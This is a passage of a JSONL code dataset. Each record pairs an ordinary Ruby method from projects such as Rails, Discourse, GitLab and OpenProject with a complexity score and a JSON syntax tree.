end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_purges_current_environment_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_configurations\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]}]},{\"type\":\"lvasgn\",\"children\":[\"configurations\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"development\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"dev-db\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"test-db\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"production\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"abstract\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"prod-db\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"lvar\",\"children\":[\"configurations\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},{\"type\":\"sym\",\"children\":[\"purge\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"production\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"primary\"]}]}]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_called_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"production\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"purge_current\",{\"type\":\"str\",\"children\":[\"production\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations=\",{\"type\":\"lvar\",\"children\":[\"old_configurations\"]}]}]}]}","id":"73af0601-0a31-44ae-b54f-6bdcb9d8a3b9"}
+{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/structured_output.rb","start_line":48,"raw_source":"def read_buffered_property(prop_name)\n if @partial_json_tracker.broken?\n if @done\n return nil if @type_map[prop_name.to_sym].nil?\n return(\n DiscourseAi::Utils::BestEffortJsonParser.extract_key(\n @raw_response,\n @type_map[prop_name.to_sym],\n prop_name,\n )\n )\n else\n return nil\n end\n end\n\n # Maybe we haven't read that part of the JSON yet.\n return nil if @tracked[prop_name].nil?\n\n # This means this property is a string and we want to return unread chunks.\n if @property_cursors[prop_name].present?\n unread = @tracked[prop_name][@property_cursors[prop_name]..]\n @property_cursors[prop_name] = @tracked[prop_name].length\n unread\n else\n # Ints and bools, and arrays are always returned as is.\n @tracked[prop_name]\n end\n end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"read_buffered_property\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prop_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@partial_json_tracker\"]},\"broken?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@done\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop_name\"]},\"to_sym\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseAi\"]},\"Utils\"]},\"BestEffortJsonParser\"]},\"extract_key\",{\"type\":\"ivar\",\"children\":[\"@raw_response\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type_map\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prop_name\"]},\"to_sym\"]}]},{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@property_cursors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unread\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@property_cursors\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@property_cursors\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]},\"length\"]}]},{\"type\":\"lvar\",\"children\":[\"unread\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tracked\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"prop_name\"]}]}]}]}]}","id":"8c827f32-aea8-4377-8f31-a3ac0c2fac2f"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/inject.rb","start_line":91,"raw_source":"def initialize\n super\n @_inject_enabled = false\n @_inject_hostname_key = nil\n @_inject_hostname = nil\n @_inject_worker_id_key = nil\n @_inject_worker_id = nil\n @_inject_tag_key = nil\n @_inject_time_key = nil\n @_inject_time_formatter = nil\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_enabled\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_hostname_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_hostname\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_worker_id_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_worker_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_tag_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_time_key\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@_inject_time_formatter\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"47a90341-5bc5-4ffb-873d-a32e43fe2ec8"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/spec/support/pages/taskboard.rb","start_line":58,"raw_source":"def expect_work_package_not_visible(work_package)\n expect(page)\n .to have_no_content(work_package.subject)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_work_package_not_visible\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"subject\"]}]}]}]}","id":"69ded2de-5d10-4d79-9e63-0c9ddf3885f6"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/projects/creator_service.rb","start_line":26,"raw_source":"def adding_the_creator_as_owner_in_a_personal_project?\n # this condition is reached during testing setup a lot due to use of `.add_member`\n member.project.personal_namespace_holder?(member.user)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"adding_the_creator_as_owner_in_a_personal_project?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"project\"]},\"personal_namespace_holder?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"user\"]}]}]}","id":"12fdfa26-42b0-454c-9f70-fa68a2148961"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/integrations/campfire.rb","start_line":85,"raw_source":"def auth\n # use a dummy password, as explained in the Campfire API doc:\n # https://github.com/basecamp/campfire-api#authentication\n @auth ||= {\n basic_auth: {\n username: token,\n password: 'X'\n }\n }\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"auth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@auth\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"basic_auth\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[null,\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"str\",\"children\":[\"X\"]}]}]}]}]}]}]}","id":"d23ea708-6f9a-4bcb-a910-db2c3a95ec40"}
+{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":1495,"raw_source":"def exercise_parallelization_regardless_of_machine_core_count(with:, threshold: 0, transactional_fixtures: true)\n file_content = ERB.new(<<-ERB, trim_mode: \"-\").result_with_hash(with: with.to_s)\n ENV[\"RAILS_ENV\"] ||= \"test\"\n require_relative \"../config/environment\"\n require \"rails/test_help\"\n\n class ActiveSupport::TestCase\n # Run tests in parallel with specified workers\n parallelize(workers: 2, with: :<%= with %>, threshold: #{threshold})\n self.use_transactional_tests = #{transactional_fixtures}\n\n # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.\n fixtures :all\n end\n ERB\n\n app_path(\"test/test_helper.rb\") do |file_name|\n File.write(file_name, file_content)\n end\n end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exercise_parallelization_regardless_of_machine_core_count\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"with\"]},{\"type\":\"kwoptarg\",\"children\":[\"threshold\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwoptarg\",\"children\":[\"transactional_fixtures\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" ENV[\\\"RAILS_ENV\\\"] ||= \\\"test\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" require_relative \\\"../config/environment\\\"\\n\"]},{\"type\":\"str\",\"children\":[\" require \\\"rails/test_help\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" class ActiveSupport::TestCase\\n\"]},{\"type\":\"str\",\"children\":[\" # Run tests in parallel with specified workers\\n\"]},{\"type\":\"str\",\"children\":[\" parallelize(workers: 2, with: :<%= with %>, threshold: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threshold\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\" self.use_transactional_tests = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"transactional_fixtures\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.\\n\"]},{\"type\":\"str\",\"children\":[\" fixtures :all\\n\"]},{\"type\":\"str\",\"children\":[\" end\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trim_mode\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]},\"result_with_hash\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with\"]},\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_path\",{\"type\":\"str\",\"children\":[\"test/test_helper.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"lvar\",\"children\":[\"file_content\"]}]}]}]}]}","id":"8f495d43-06f9-4a84-94ff-a7e52abb0137"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib/chronic_duration.rb","start_line":74,"raw_source":"def parse(string, opts = {})\n result = calculate_from_words(cleanup(string, opts), opts)\n !opts[:keep_zero] && result == 0 ? nil : result\n end","complexity_score":9.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"calculate_from_words\",{\"type\":\"send\",\"children\":[null,\"cleanup\",{\"type\":\"lvar\",\"children\":[\"string\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"keep_zero\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"61a8fc1b-0f51-4a39-a0bf-70daed921174"}
+{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/shared_example_group.rb","start_line":260,"raw_source":"def ensure_block_has_source_location(block)\n source_location = yield.split(':')\n block.extend(Module.new { define_method(:source_location) { source_location } })\n end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_block_has_source_location\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"source_location\",{\"type\":\"send\",\"children\":[{\"type\":\"yield\",\"children\":[]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"extend\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"source_location\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"source_location\"]}]}]}]}]}]}","id":"e7e4858a-e1d1-48f2-91e3-474419e916f9"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/lfs_object_importer.rb","start_line":16,"raw_source":"def lfs_download_object\n LfsDownloadObject.new(oid: lfs_object.oid, size: lfs_object.size, link: lfs_object.link,\n headers: lfs_object.headers)\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"lfs_download_object\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LfsDownloadObject\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"oid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lfs_object\"]},\"headers\"]}]}]}]}]}","id":"92ba9f90-87d2-41fc-b7d1-ef2318ac0f96"}
+{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/db/migrate/tables/deploy_targets.rb","start_line":34,"raw_source":"def self.table(migration)\n create_table migration do |t|\n t.text :type, null: false\n t.text :host, null: false, index: { unique: true }\n t.jsonb :options, null: false, default: {}\n\n t.timestamps\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"lvar\",\"children\":[\"migration\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"jsonb\",{\"type\":\"sym\",\"children\":[\"options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"cae97726-a14e-434b-94a5-9abdaecdd4d4"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/signed_tag.rb","start_line":75,"raw_source":"def signature_text\n signature_data&.fetch(0)\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"signature_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"signature_data\"]},\"fetch\",{\"type\":\"int\",\"children\":[0]}]}]}","id":"c00c7361-ac74-4699-a462-adf6b3ccdc1c"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/gitaly_setup.rb","start_line":73,"raw_source":"def config_name(service)\n case service\n when :gitaly\n 'config.toml'\n when :gitaly2\n 'gitaly2.config.toml'\n when :praefect\n 'praefect.config.toml'\n end\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"config_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly\"]},{\"type\":\"str\",\"children\":[\"config.toml\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly2\"]},{\"type\":\"str\",\"children\":[\"gitaly2.config.toml\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"praefect\"]},{\"type\":\"str\",\"children\":[\"praefect.config.toml\"]}]},null]}]}","id":"bee43e86-7f10-42c8-b36c-b7eea028c158"}
+{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/common/extended_progress_bar.rb","start_line":8,"raw_source":"def initialize(max_progress: nil)\n @max_progress = max_progress\n\n @skip_count = 0\n @warning_count = 0\n @error_count = 0\n @extra_information = +\"\"\n\n @base_format = nil\n @progressbar = nil\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"max_progress\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@max_progress\",{\"type\":\"lvar\",\"children\":[\"max_progress\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@skip_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@warning_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@error_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@extra_information\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@base_format\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@progressbar\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"51c55d8e-651a-410d-9c53-91637ef39569"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/request_forgery_protection_test.rb","start_line":1128,"raw_source":"def test_handles_relative_paths\n get :index, params: { form_path: \"post_one\" }\n\n form_token = assert_presence_and_fetch_form_csrf_token\n\n # This is required because PATH_INFO isn't reset between requests.\n @request.env[\"PATH_INFO\"] = \"/per_form_tokens/post_one\"\n assert_nothing_raised do\n post :post_one, params: { custom_authenticity_token: form_token }\n end\n assert_response :success\n end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_handles_relative_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"form_path\"]},{\"type\":\"str\",\"children\":[\"post_one\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"form_token\",{\"type\":\"send\",\"children\":[null,\"assert_presence_and_fetch_form_csrf_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@request\"]},\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"PATH_INFO\"]},{\"type\":\"str\",\"children\":[\"/per_form_tokens/post_one\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"post_one\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"custom_authenticity_token\"]},{\"type\":\"lvar\",\"children\":[\"form_token\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}","id":"62c756df-7c49-4647-830b-b9d50be7c76f"}
+{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/url_for_test.rb","start_line":405,"raw_source":"def test_only_path\n with_routing do |set|\n set.draw do\n get \"home/sweet/home/:user\", to: \"home#index\", as: :home\n\n ActionDispatch.deprecator.silence do\n get \":controller/:action/:id\"\n end\n end\n\n # We need to create a new class in order to install the new named route.\n kls = Class.new { include set.url_helpers }\n controller = kls.new\n assert_respond_to controller, :home_url\n assert_equal \"/brave/new/world\",\n controller.url_for(controller: \"brave\", action: \"new\", id: \"world\", only_path: true)\n\n assert_equal(\"/home/sweet/home/alabama\", controller.home_path(user: \"alabama\", host: \"unused\"))\n assert_equal(\"/home/sweet/home/alabama\", controller.home_path(\"alabama\"))\n end\n end","complexity_score":30.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_only_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"home/sweet/home/:user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"str\",\"children\":[\"home#index\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"sym\",\"children\":[\"home\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"deprecator\"]},\"silence\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\":controller/:action/:id\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"kls\",{\"type\":\"block\",\"children\":[{\"ty